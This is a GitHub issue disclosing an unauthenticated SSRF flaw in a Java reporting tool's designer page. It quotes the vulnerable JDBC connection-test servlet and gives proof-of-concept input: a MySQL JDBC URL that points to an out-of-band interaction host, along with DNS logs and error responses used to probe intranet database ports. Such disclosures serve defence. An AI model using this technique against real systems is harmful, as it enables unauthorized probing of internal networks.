

New issue

Jump to bottom

An unauthorized SSRF vulnerability in the designer page. #483

Open T3qui1a opened this issue on Nov 28, 2019 · 0 comments

T3qui1a commented on Nov 28, 2019

In this part of source code, we find that users can make connection requests to any IP address.

```
public void testConnection(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String username=req.getParameter("username");
    String password=req.getParameter("password");
    String driver=req.getParameter("driver");
    String url=req.getParameter("url");
    Connection conn=null;
    Map<String,Object> map=new HashMap<String,Object>();
    try{
        Class.forName(driver);
        conn=DriverManager.getConnection(url, username, password);
        map.put("result", true);
    }catch(Exception ex){
        map.put("error", ex.toString());
        map.put("result", false);
    }finally{
        if(conn!=null){
            try {
                conn.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
    writeObjectToJson(resp, map);
}
```

Then we found that the designer page did not verify the access user's permission.

So we can directly implement the SSRF attack on this page to detect the database port of the intranet device.

原名: t3qui1a

用户名: root

密码:

主机名: com.mysql.jdbc.Driver

URL: jdbc:mysql://c7f21u.ceye.io:3306/t3qui1a?useUnicode=true&characterEncoding=UTF-8&serverTimezone=UTC

DNS Rebinding	
Records	
HTTP Request	
DNS Query	

ID	Name
25750153	c7f21u.ceye.io
25750152	c7f21u.ceye.io

When the database port is detected to be open, the page will respond to the database login failure.

消息提示

连接测试失败: java.sql.SQLException: Access denied for user '123'@'localhost' (u: password: NO)

Assignees

No one assigned

Labels

None yet

Projects

None yet
Milestone
No milestone
Development
No branches or pull requests
1 participant
